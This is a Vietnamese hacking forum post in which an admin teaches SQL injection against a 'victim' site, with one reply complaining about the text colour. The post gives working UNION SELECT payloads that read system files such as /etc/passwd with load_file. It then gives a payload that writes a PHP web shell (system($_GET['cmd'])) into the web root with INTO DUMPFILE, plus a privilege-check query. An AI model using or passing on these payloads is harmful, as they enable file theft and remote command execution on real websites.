• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

Hướng dẫn đọc file và tạo file bằng sqli

Admin

Well-Known Member
Staff member
Administrator
Victim thuộc loại này hơi bị khó tìm nên đọc tham khảo thôi nhé :khakha:

Victim:
domain/@/index.php?id=1099 <~ link xàm nhé :D

Ví dụ website này có 3 trường, version 5 (có thể khai thác)


1. Đọc file

- domain/@/index.php?id=-1099 union select 1,load_FILE(0xđường_dẫn_file_cần_đọc),3 #

Trong đó "đường_dẫn_file_cần_đọc" là đường dẫn đến 1 file nào đó có trong hệ thống này (ví dụ như: /home/GAY/public_html/index.php hoặc /etc/passwd) và mã hóa nó thành hex. Sau đó thì view-source, code nằm hiện ra trước mắt ta :D

2. Tạo file

-
domain/@/index.php?id=-1099 union select 1,'<?php system($_GET['cmd']); ?>',3+INTO+DUMPFILE+"/đường_dẫn_file_được_lưu/GT.php"#

Trong đó '<?php system($_GET['cmd']); ?>' là nội dung file sẽ được tạo, INTO+DUMPFILE là mã lệnh thực thi, "/đường_dẫn_file_dc_lưu/GT.php" là đường dận file sẽ được lưu vào 1 nơi nào đó trong hệ thống (GT.php là tên file sẽ được tạo, ví dụ:
/home/GAY/public_html/@/GT.php). Cái code shell trên khi chạy shell thì nó sẽ như thế này "http://domain/@/GT.php?cmd=" và nó được sử dụng như chức năng system trên 1 con shell bình thường.

Yêu cầu: safe_mod=off, magic_quotes_gpc = OFF

Để kiểm tra xem có quyền thực thi trên không thì bằng query

select file_priv from mysql.user where user=user()

Ra chữ Y là có quyền, N là không.
nếu query lỗi thì user đó không với tới table mysql.user :D
 
Màu chữ chói wá nhìn loè cả mắt rồi
 

Facebook Comments

Similar threads

New posts New threads New resources

Back
Top